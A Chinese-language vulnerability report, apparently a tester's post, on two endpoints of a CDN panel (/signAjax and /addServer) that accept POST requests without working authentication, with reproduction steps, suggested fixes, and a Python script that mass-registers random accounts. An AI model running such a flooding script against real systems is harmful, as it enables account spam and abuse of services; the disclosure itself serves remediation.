夏柔昨天简单测试了一下,发现可使用任意客户端发起post请求并成功存储到数据库的接口,属于中危漏洞;
第一个:注册接口
-
本文主题: 注册账号接口缺乏身份验证机制导致未经授权访问,任意客户端可发起POST请求
-
问题描述: 在注册接口中发现了一个缺乏身份验证的漏洞,该接口允许未经身份验证的用户注册新账户,从而导致未经授权的访问和潜在的安全问题。
-
复现步骤:
- 使用任意 HTTP 客户端向注册接口发送 POST 请求,
- URL事件:/signAjax
- 在请求中包含以下数据:
- __RequestVerificationToken: 貌似是用于身份验证,但该功能并未生效
- user: 用户名
- password: 密码
- rememberMe: true
经测试,__RequestVerificationToken无需传值,直接传参 user password 即可存储用户数据
-
影响范围:此漏洞可能影响所有尝试注册新账户的用户,以及系统可能面临的安全风险。
-
解决方案:
强烈建议在注册接口中实施适当的身份验证机制,例如验证码进行人机身份验证,以防止未经授权的访问!
第二个:添加节点
-
本文主题: 添加节点接口缺乏身份验证机制导致未经授权访问,任意客户端可发起POST请求
-
问题描述: 在添加节点接口发现了一个缺乏身份验证的漏洞,该接口允许未经身份验证的用户进行添加节点,从而导致未经授权的访问和潜在的安全问题。复现步骤:
- 使用任意 HTTP 客户端向注册接口发送 POST 请求,
- URL事件:/addServer
- 在请求中包含以下数据:
- ip: 随机生成ip
- name: 用户名
- key: 秘钥
- status: on
经测试,直接传参 user password 即可存储添加节点
-
影响范围:此漏洞可能影响系统被恶意刷数据,以及系统可能面临的安全风险。
-
解决方案:
强烈建议在添加节点接口中实施适当的身份验证机制,例如Oauth,以防止未经授权的访问!
第一个刷注册的Python脚本例子(严禁违法用途,仅供测试):
import requests import random import json import string # 你的fastcdn地址 url = "http://127.0.0.1:5380/signAjax" # 配置循环次数和运行总次数 loop_count = 10 total_runs = 100 # 随机生成用户和密码 def generate_random_string(length=8): letters_and_digits = string.ascii_letters + string.digits return ''.join(random.choice(letters_and_digits) for i in range(length)) # 发送请求 def send_request(): # 随机生成用户和密码 user = generate_random_string() password = generate_random_string() # 请求参数 payload = { "__RequestVerificationToken": "", "user": user, "password": password, "rememberMe": "true" } # 发送POST请求 response = requests.post(url, data=payload) # 处理响应 if response.status_code == 200: data = response.json() if data["code"] == 1: write_to_file("success", user, password) else: write_to_file("error", user, password) else: write_to_file("error", user, password) # 写入到文件 def write_to_file(result, user, password): with open(f"{result}.txt", "a") as file: file.write(f"User: {user}, Password: {password}\n") # 执行循环 for i in range(total_runs): send_request() if (i + 1) % loop_count == 0: print(f"已循环 {i + 1} 次") print("循环结束")